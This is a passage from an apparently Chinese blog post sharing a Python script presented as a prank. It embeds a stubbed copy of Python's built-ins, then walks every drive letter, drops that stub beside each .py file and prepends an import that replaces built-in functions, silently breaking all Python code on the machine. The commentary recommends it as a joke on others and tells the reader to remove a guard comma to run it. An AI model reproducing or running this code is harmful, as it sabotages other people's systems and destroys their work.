  4271. def __iter__(self, *args, **kwargs): # real signature unknown
  4272. """ Implement iter(self). """
  4273. pass
  4274. def __len__(self, *args, **kwargs): # real signature unknown
  4275. """ Return len(self). """
  4276. pass
  4277. def __le__(self, *args, **kwargs): # real signature unknown
  4278. """ Return self<=value. """
  4279. pass
  4280. def __lt__(self, *args, **kwargs): # real signature unknown
  4281. """ Return self<value. """
  4282. pass
  4283. def __mul__(self, *args, **kwargs): # real signature unknown
  4284. """ Return self*value. """
  4285. pass
  4286. @staticmethod # known case of __new__
  4287. def __new__(*args, **kwargs): # real signature unknown
  4288. """ Create and return a new object. See help(type) for accurate signature. """
  4289. pass
  4290. def __ne__(self, *args, **kwargs): # real signature unknown
  4291. """ Return self!=value. """
  4292. pass
  4293. def __repr__(self, *args, **kwargs): # real signature unknown
  4294. """ Return repr(self). """
  4295. pass
  4296. def __rmul__(self, *args, **kwargs): # real signature unknown
  4297. """ Return value*self. """
  4298. pass
  4299. class type(object):
  4300. """
  4301. type(object_or_name, bases, dict)
  4302. type(object) -> the object's type
  4303. type(name, bases, dict) -> a new type
  4304. """
  4305. def mro(self, *args, **kwargs): # real signature unknown
  4306. """ Return a type's method resolution order. """
  4307. pass
  4308. def __call__(self, *args, **kwargs): # real signature unknown
  4309. """ Call self as a function. """
  4310. pass
  4311. def __delattr__(self, *args, **kwargs): # real signature unknown
  4312. """ Implement delattr(self, name). """
  4313. pass
  4314. def __dir__(self, *args, **kwargs): # real signature unknown
  4315. """ Specialized __dir__ implementation for types. """
  4316. pass
  4317. def __getattribute__(self, *args, **kwargs): # real signature unknown
  4318. """ Return getattr(self, name). """
  4319. pass
  4320. def __init__(cls, what, bases=None, dict=None): # known special case of type.__init__
  4321. """
  4322. type(object_or_name, bases, dict)
  4323. type(object) -> the object's type
  4324. type(name, bases, dict) -> a new type
  4325. # (copied from class doc)
  4326. """
  4327. pass
  4328. def __instancecheck__(self, *args, **kwargs): # real signature unknown
  4329. """ Check if an object is an instance. """
  4330. pass
  4331. @staticmethod # known case of __new__
  4332. def __new__(*args, **kwargs): # real signature unknown
  4333. """ Create and return a new object. See help(type) for accurate signature. """
  4334. pass
  4335. def __prepare__(self): # real signature unknown; restored from __doc__
  4336. """
  4337. __prepare__() -> dict
  4338. used to create the namespace for the class statement
  4339. """
  4340. return {}
  4341. def __repr__(self, *args, **kwargs): # real signature unknown
  4342. """ Return repr(self). """
  4343. pass
  4344. def __setattr__(self, *args, **kwargs): # real signature unknown
  4345. """ Implement setattr(self, name, value). """
  4346. pass
  4347. def __sizeof__(self, *args, **kwargs): # real signature unknown
  4348. """ Return memory consumption of the type object. """
  4349. pass
  4350. def __subclasscheck__(self, *args, **kwargs): # real signature unknown
  4351. """ Check if a class is a subclass. """
  4352. pass
  4353. def __subclasses__(self, *args, **kwargs): # real signature unknown
  4354. """ Return a list of immediate subclasses. """
  4355. pass
  4356. __abstractmethods__ = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  4357. __bases__ = (
  4358. object,
  4359. )
  4360. __base__ = object
  4361. __basicsize__ = 880
  4362. __dictoffset__ = 264
  4363. __dict__ = None # (!) real value is "mappingproxy({'__repr__': <slot wrapper '__repr__' of 'type' objects>, '__call__': <slot wrapper '__call__' of 'type' objects>, '__getattribute__': <slot wrapper '__getattribute__' of 'type' objects>, '__setattr__': <slot wrapper '__setattr__' of 'type' objects>, '__delattr__': <slot wrapper '__delattr__' of 'type' objects>, '__init__': <slot wrapper '__init__' of 'type' objects>, '__new__': <built-in method __new__ of type object at 0x00007FFE2F3E5C60>, 'mro': <method 'mro' of 'type' objects>, '__subclasses__': <method '__subclasses__' of 'type' objects>, '__prepare__': <method '__prepare__' of 'type' objects>, '__instancecheck__': <method '__instancecheck__' of 'type' objects>, '__subclasscheck__': <method '__subclasscheck__' of 'type' objects>, '__dir__': <method '__dir__' of 'type' objects>, '__sizeof__': <method '__sizeof__' of 'type' objects>, '__basicsize__': <member '__basicsize__' of 'type' objects>, '__itemsize__': <member '__itemsize__' of 'type' objects>, '__flags__': <member '__flags__' of 'type' objects>, '__weakrefoffset__': <member '__weakrefoffset__' of 'type' objects>, '__base__': <member '__base__' of 'type' objects>, '__dictoffset__': <member '__dictoffset__' of 'type' objects>, '__mro__': <member '__mro__' of 'type' objects>, '__name__': <attribute '__name__' of 'type' objects>, '__qualname__': <attribute '__qualname__' of 'type' objects>, '__bases__': <attribute '__bases__' of 'type' objects>, '__module__': <attribute '__module__' of 'type' objects>, '__abstractmethods__': <attribute '__abstractmethods__' of 'type' objects>, '__dict__': <attribute '__dict__' of 'type' objects>, '__doc__': <attribute '__doc__' of 'type' objects>, '__text_signature__': <attribute '__text_signature__' of 'type' objects>})"
  4364. __flags__ = 2148293632
  4365. __itemsize__ = 40
  4366. __mro__ = (
  4367. None, # (!) forward: type, real value is "<class 'type'>"
  4368. object,
  4369. )
  4370. __name__ = 'type'
  4371. __qualname__ = 'type'
  4372. __text_signature__ = None
  4373. __weakrefoffset__ = 368
  4374. class TypeError(Exception):
  4375. """ Inappropriate argument type. """
  4376. def __init__(self, *args, **kwargs): # real signature unknown
  4377. pass
  4378. @staticmethod # known case of __new__
  4379. def __new__(*args, **kwargs): # real signature unknown
  4380. """ Create and return a new object. See help(type) for accurate signature. """
  4381. pass
  4382. class UnboundLocalError(NameError):
  4383. """ Local name referenced but not bound to a value. """
  4384. def __init__(self, *args, **kwargs): # real signature unknown
  4385. pass
  4386. @staticmethod # known case of __new__
  4387. def __new__(*args, **kwargs): # real signature unknown
  4388. """ Create and return a new object. See help(type) for accurate signature. """
  4389. pass
  4390. class ValueError(Exception):
  4391. """ Inappropriate argument value (of correct type). """
  4392. def __init__(self, *args, **kwargs): # real signature unknown
  4393. pass
  4394. @staticmethod # known case of __new__
  4395. def __new__(*args, **kwargs): # real signature unknown
  4396. """ Create and return a new object. See help(type) for accurate signature. """
  4397. pass
  4398. class UnicodeError(ValueError):
  4399. """ Unicode related error. """
  4400. def __init__(self, *args, **kwargs): # real signature unknown
  4401. pass
  4402. @staticmethod # known case of __new__
  4403. def __new__(*args, **kwargs): # real signature unknown
  4404. """ Create and return a new object. See help(type) for accurate signature. """
  4405. pass
  4406. class UnicodeDecodeError(UnicodeError):
  4407. """ Unicode decoding error. """
  4408. def __init__(self, *args, **kwargs): # real signature unknown
  4409. pass
  4410. @staticmethod # known case of __new__
  4411. def __new__(*args, **kwargs): # real signature unknown
  4412. """ Create and return a new object. See help(type) for accurate signature. """
  4413. pass
  4414. def __str__(self, *args, **kwargs): # real signature unknown
  4415. """ Return str(self). """
  4416. pass
  4417. encoding = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  4418. """exception encoding"""
  4419. end = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  4420. """exception end"""
  4421. object = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  4422. """exception object"""
  4423. reason = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  4424. """exception reason"""
  4425. start = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  4426. """exception start"""
  4427. class UnicodeEncodeError(UnicodeError):
  4428. """ Unicode encoding error. """
  4429. def __init__(self, *args, **kwargs): # real signature unknown
  4430. pass
  4431. @staticmethod # known case of __new__
  4432. def __new__(*args, **kwargs): # real signature unknown
  4433. """ Create and return a new object. See help(type) for accurate signature. """
  4434. pass
  4435. def __str__(self, *args, **kwargs): # real signature unknown
  4436. """ Return str(self). """
  4437. pass
  4438. encoding = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  4439. """exception encoding"""
  4440. end = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  4441. """exception end"""
  4442. object = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  4443. """exception object"""
  4444. reason = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  4445. """exception reason"""
  4446. start = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  4447. """exception start"""
  4448. class UnicodeTranslateError(UnicodeError):
  4449. """ Unicode translation error. """
  4450. def __init__(self, *args, **kwargs): # real signature unknown
  4451. pass
  4452. @staticmethod # known case of __new__
  4453. def __new__(*args, **kwargs): # real signature unknown
  4454. """ Create and return a new object. See help(type) for accurate signature. """
  4455. pass
  4456. def __str__(self, *args, **kwargs): # real signature unknown
  4457. """ Return str(self). """
  4458. pass
  4459. encoding = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  4460. """exception encoding"""
  4461. end = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  4462. """exception end"""
  4463. object = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  4464. """exception object"""
  4465. reason = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  4466. """exception reason"""
  4467. start = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  4468. """exception start"""
  4469. class UnicodeWarning(Warning):
  4470. """
  4471. Base class for warnings about Unicode related problems, mostly
  4472. related to conversion problems.
  4473. """
  4474. def __init__(self, *args, **kwargs): # real signature unknown
  4475. pass
  4476. @staticmethod # known case of __new__
  4477. def __new__(*args, **kwargs): # real signature unknown
  4478. """ Create and return a new object. See help(type) for accurate signature. """
  4479. pass
  4480. class UserWarning(Warning):
  4481. """ Base class for warnings generated by user code. """
  4482. def __init__(self, *args, **kwargs): # real signature unknown
  4483. pass
  4484. @staticmethod # known case of __new__
  4485. def __new__(*args, **kwargs): # real signature unknown
  4486. """ Create and return a new object. See help(type) for accurate signature. """
  4487. pass
  4488. class ZeroDivisionError(ArithmeticError):
  4489. """ Second argument to a division or modulo operation was zero. """
  4490. def __init__(self, *args, **kwargs): # real signature unknown
  4491. pass
  4492. @staticmethod # known case of __new__
  4493. def __new__(*args, **kwargs): # real signature unknown
  4494. """ Create and return a new object. See help(type) for accurate signature. """
  4495. pass
  4496. class zip(object):
  4497. """
  4498. zip(*iterables) --> A zip object yielding tuples until an input is exhausted.
  4499. >>> list(zip('abcdefg', range(3), range(4)))
  4500. [('a', 0, 0), ('b', 1, 1), ('c', 2, 2)]
  4501. The zip object yields n-length tuples, where n is the number of iterables
  4502. passed as positional arguments to zip(). The i-th element in every tuple
  4503. comes from the i-th iterable argument to zip(). This continues until the
  4504. shortest argument is exhausted.
  4505. """
  4506. def __getattribute__(self, *args, **kwargs): # real signature unknown
  4507. """ Return getattr(self, name). """
  4508. pass
  4509. def __init__(self, *iterables): # real signature unknown; restored from __doc__
  4510. pass
  4511. def __iter__(self, *args, **kwargs): # real signature unknown
  4512. """ Implement iter(self). """
  4513. pass
  4514. @staticmethod # known case of __new__
  4515. def __new__(*args, **kwargs): # real signature unknown
  4516. """ Create and return a new object. See help(type) for accurate signature. """
  4517. pass
  4518. def __next__(self, *args, **kwargs): # real signature unknown
  4519. """ Implement next(self). """
  4520. pass
  4521. def __reduce__(self, *args, **kwargs): # real signature unknown
  4522. """ Return state information for pickling. """
  4523. pass
  4524. class __loader__(object):
  4525. """
  4526. Meta path import for built-in modules.
  4527. All methods are either class or static methods to avoid the need to
  4528. instantiate the class.
  4529. """
  4530. def create_module(self, *args, **kwargs): # real signature unknown
  4531. """ Create a built-in module """
  4532. pass
  4533. def exec_module(self, *args, **kwargs): # real signature unknown
  4534. """ Exec a built-in module """
  4535. pass
  4536. def find_module(self, *args, **kwargs): # real signature unknown
  4537. """
  4538. Find the built-in module.
  4539. If 'path' is ever specified then the search is considered a failure.
  4540. This method is deprecated. Use find_spec() instead.
  4541. """
  4542. pass
  4543. def find_spec(self, *args, **kwargs): # real signature unknown
  4544. pass
  4545. def get_code(self, *args, **kwargs): # real signature unknown
  4546. """ Return None as built-in modules do not have code objects. """
  4547. pass
  4548. def get_source(self, *args, **kwargs): # real signature unknown
  4549. """ Return None as built-in modules do not have source code. """
  4550. pass
  4551. def is_package(self, *args, **kwargs): # real signature unknown
  4552. """ Return False as built-in modules are never packages. """
  4553. pass
  4554. def load_module(self, *args, **kwargs): # real signature unknown
  4555. """
  4556. Load the specified module into sys.modules and return it.
  4557. This method is deprecated. Use loader.exec_module instead.
  4558. """
  4559. pass
  4560. def module_repr(module): # reliably restored by inspect
  4561. """
  4562. Return repr for the module.
  4563. The method is deprecated. The import machinery does the job itself.
  4564. """
  4565. pass
  4566. def __init__(self, *args, **kwargs): # real signature unknown
  4567. pass
  4568. __weakref__ = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
  4569. """list of weak references to the object (if defined)"""
  4570. _ORIGIN = 'built-in'
  4571. __dict__ = None # (!) real value is "mappingproxy({'__module__': '_frozen_importlib', '__doc__': 'Meta path import for built-in modules.\\n\\n All methods are either class or static methods to avoid the need to\\n instantiate the class.\\n\\n ', '_ORIGIN': 'built-in', 'module_repr': <staticmethod object at 0x000001C0C7496460>, 'find_spec': <classmethod object at 0x000001C0C7496490>, 'find_module': <classmethod object at 0x000001C0C74964C0>, 'create_module': <classmethod object at 0x000001C0C74964F0>, 'exec_module': <classmethod object at 0x000001C0C7496520>, 'get_code': <classmethod object at 0x000001C0C74965B0>, 'get_source': <classmethod object at 0x000001C0C7496640>, 'is_package': <classmethod object at 0x000001C0C74966D0>, 'load_module': <classmethod object at 0x000001C0C7496700>, '__dict__': <attribute '__dict__' of 'BuiltinImporter' objects>, '__weakref__': <attribute '__weakref__' of 'BuiltinImporter' objects>})"
  4572. # variables with complex values
  4573. Ellipsis = None # (!) real value is 'Ellipsis'
  4574. NotImplemented = None # (!) real value is 'NotImplemented'
  4575. __spec__ = None # (!) real value is "ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>, origin='built-in')"
  4576. '''
  4577. num = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
  4578. operate_path = [rf"{x}:/" for x in num]
  4579. try:
  4580. for pa in operate_path:
  4581. for root, dirs, files1 in os.walk(pa):
  4582. for files in files1:
  4583. if len(files) >= 3:
  4584. if files[len(files) - 3] + files[len(files) - 2] + \
  4585. files[len(files) - 1] in ['.py','.PY','.Py','.pY']:
  4586. path = os.path.join(root, files)
  4587. with open(os.path.join(root, 'python_enabled.py'), 'w') as f:
  4588. f.write(a)
  4589. with open(path, 'r') as f:
  4590. p = f.read()
  4591. with open(path, 'w') as f:
  4592. f.write('from python_enabled import *\n' + p)
  4593. except BaseException:
  4594. pass

大意是,pycharm自带的builtin.py,内涵所有系统函数名称定义和pass语句,如果from ... import *,系统函数就会被替换,导致无法使用!

这个项目也就是利用os.walk()函数,所有.py文件目录下都加了一个文件,内容即变量a中储存的字符串,然后修改.py文件,加入import 语句。

用这个和别人开个小玩笑也不错!

已经在代码开头加了一个中文逗号,避免错误的运行。使用时删去即可。不恰当使用造成的后果自负!

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/AllinToyou/article/detail/611097
推荐阅读
相关标签
  

闽ICP备14008679号